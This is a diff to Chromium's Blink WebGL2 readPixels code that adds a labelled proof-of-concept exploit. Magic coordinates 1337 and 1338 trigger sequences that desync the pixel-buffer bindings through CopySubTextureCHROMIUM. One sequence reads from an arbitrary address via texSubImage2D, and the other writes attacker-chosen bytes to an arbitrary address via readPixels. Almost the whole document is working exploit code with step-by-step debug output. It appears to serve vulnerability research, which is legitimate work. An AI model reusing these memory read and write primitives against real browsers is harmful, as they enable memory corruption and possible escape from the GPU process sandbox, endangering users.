diff --git a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc index 18aaa25ad71c6..0251d17353890 100644 --- a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc @@ -875,6 +875,108 @@ void WebGL2RenderingContextBase::readPixels(GLint x, // taint the origin using the WebGL API. DCHECK(Host()->OriginClean()); + // [PoC] COMPROMISED RENDERER: UNPACK PBO desync + arbitrary address READ via texSubImage2D + if (x == 1337 && y == 1337) { + fprintf(stderr, "[PoC] COMPROMISED RENDERER: Memory read exploit via texSubImage2D\n"); + fprintf(stderr, "[PoC] Target address: 0x%llx\n", (unsigned long long)offset); + + GLuint exploit_tex = 0; + ContextGL()->GenTextures(1, &exploit_tex); + ContextGL()->BindTexture(GL_TEXTURE_2D, exploit_tex); + ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 4, 4, 0, + GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + // Step 1: Consume DIRTY_BIT_UNPACK_BUFFER_BINDING to sync native PBO + fprintf(stderr, "[PoC] Step 1: Consuming DIRTY_BIT_UNPACK_BUFFER_BINDING...\n"); + ContextGL()->BindTexture(GL_TEXTURE_2D, exploit_tex); + ContextGL()->TexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, 4, 4, + GL_RGBA, GL_UNSIGNED_BYTE, nullptr); // offset=0 + + // Step 2: Trigger desync via CopySubTextureCHROMIUM + // Unbinds native UNPACK PBO but doesn't set frontend DIRTY_BIT_UNPACK_BUFFER_BINDING. + fprintf(stderr, "[PoC] Step 2: Triggering UNPACK PBO desync...\n"); + GLuint dummy_src = 0, dummy_dst = 0; + ContextGL()->GenTextures(1, &dummy_src); + ContextGL()->GenTextures(1, &dummy_dst); + ContextGL()->BindTexture(GL_TEXTURE_2D, dummy_src); + ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + ContextGL()->BindTexture(GL_TEXTURE_2D, dummy_dst); + ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_LUMINANCE, 4, 4, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, nullptr); + ContextGL()->CopySubTextureCHROMIUM(dummy_src, 0, GL_TEXTURE_2D, dummy_dst, 0, 0, 0, 0, 0, 4, 4, GL_FALSE, GL_FALSE, GL_FALSE); + ContextGL()->DeleteTextures(1, &dummy_src); + ContextGL()->DeleteTextures(1, &dummy_dst); + + // Step 3: texSubImage2D with target address as offset. + // Native driver uses unbound PBO (id=0), reading from raw unmapped pointer causing SEGV. + fprintf(stderr, "[PoC] Step 3: texSubImage2D reading from offset 0x%llx...\n", (unsigned long long)offset); + ContextGL()->BindTexture(GL_TEXTURE_2D, exploit_tex); + ContextGL()->TexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, 4, 4, + GL_RGBA, GL_UNSIGNED_BYTE, + reinterpret_cast((intptr_t)offset)); + ContextGL()->Finish(); + GLenum err = ContextGL()->GetError(); + fprintf(stderr, "[PoC] Step 3 done. GL error = 0x%x\n", err); + + ContextGL()->DeleteTextures(1, &exploit_tex); + fprintf(stderr, "[PoC] Exploit sequence completed.\n"); + return; + } + + // [PoC] COMPROMISED RENDERER: PACK PBO desync + arbitrary address WRITE via readPixels + // Use readPixels(1338,1338,...) as trigger. + // Same dirty-bit-consumption strategy, but for PACK buffer. + if (x == 1338 && y == 1338) { + fprintf(stderr, "[PoC] COMPROMISED RENDERER: readPixels WRITE exploit\n"); + fprintf(stderr, "[PoC] Target WRITE address: 0x%llx\n", (unsigned long long)offset); + + // Step 0: Create a renderable framebuffer filled with 0x42 + GLuint write_tex = 0, write_fbo = 0; + ContextGL()->GenTextures(1, &write_tex); + ContextGL()->BindTexture(GL_TEXTURE_2D, write_tex); + // Fill texture with 0x42 pattern + const GLubyte fill_data[64] = { + 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, + 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, + 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, + 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42}; + ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 4, 4, 0, + GL_RGBA, GL_UNSIGNED_BYTE, fill_data); + ContextGL()->GenFramebuffers(1, &write_fbo); + ContextGL()->BindFramebuffer(GL_FRAMEBUFFER, write_fbo); + ContextGL()->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, + GL_TEXTURE_2D, write_tex, 0); + + // Step 1: Consume DIRTY_BIT_PACK_BUFFER_BINDING + fprintf(stderr, "[PoC] Step 1: Consuming DIRTY_BIT_PACK_BUFFER_BINDING...\n"); + ContextGL()->BindFramebuffer(GL_FRAMEBUFFER, 0); ContextGL()->BindFramebuffer(GL_FRAMEBUFFER, write_fbo); ContextGL()->ReadPixels(0, 0, 4, 4, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); // offset=0 + + // Step 2: Trigger PACK PBO desync via CopySubTextureCHROMIUM + fprintf(stderr, "[PoC] Step 2: Triggering PACK PBO desync...\n"); + GLuint dummy_src = 0, dummy_dst = 0; + ContextGL()->GenTextures(1, &dummy_src); + ContextGL()->GenTextures(1, &dummy_dst); + ContextGL()->BindTexture(GL_TEXTURE_2D, dummy_src); + ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + ContextGL()->BindTexture(GL_TEXTURE_2D, dummy_dst); + ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_LUMINANCE, 4, 4, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, nullptr); + ContextGL()->CopySubTextureCHROMIUM(dummy_src, 0, GL_TEXTURE_2D, dummy_dst, 0, 0, 0, 0, 0, 4, 4, GL_FALSE, GL_FALSE, GL_FALSE); + ContextGL()->DeleteTextures(1, &dummy_src); + ContextGL()->DeleteTextures(1, &dummy_dst); + + // Step 3: readPixels with target address as offset. + fprintf(stderr, "[PoC] Step 3: readPixels WRITING 0x42... to 0x%llx...\n", (unsigned long long)offset); + ContextGL()->BindFramebuffer(GL_FRAMEBUFFER, 0); ContextGL()->BindFramebuffer(GL_FRAMEBUFFER, write_fbo); + ContextGL()->ReadPixels(0, 0, 4, 4, GL_RGBA, GL_UNSIGNED_BYTE, reinterpret_cast((intptr_t)offset)); + ContextGL()->Finish(); + GLenum err = ContextGL()->GetError(); + fprintf(stderr, "[PoC] Step 3 done. GL error = 0x%x\n", err); + + ContextGL()->DeleteFramebuffers(1, &write_fbo); + ContextGL()->DeleteTextures(1, &write_tex); + fprintf(stderr, "[PoC] WRITE exploit completed.\n"); + return; + } + if (!ValidateValueFitNonNegInt32("readPixels", "offset", offset)) return;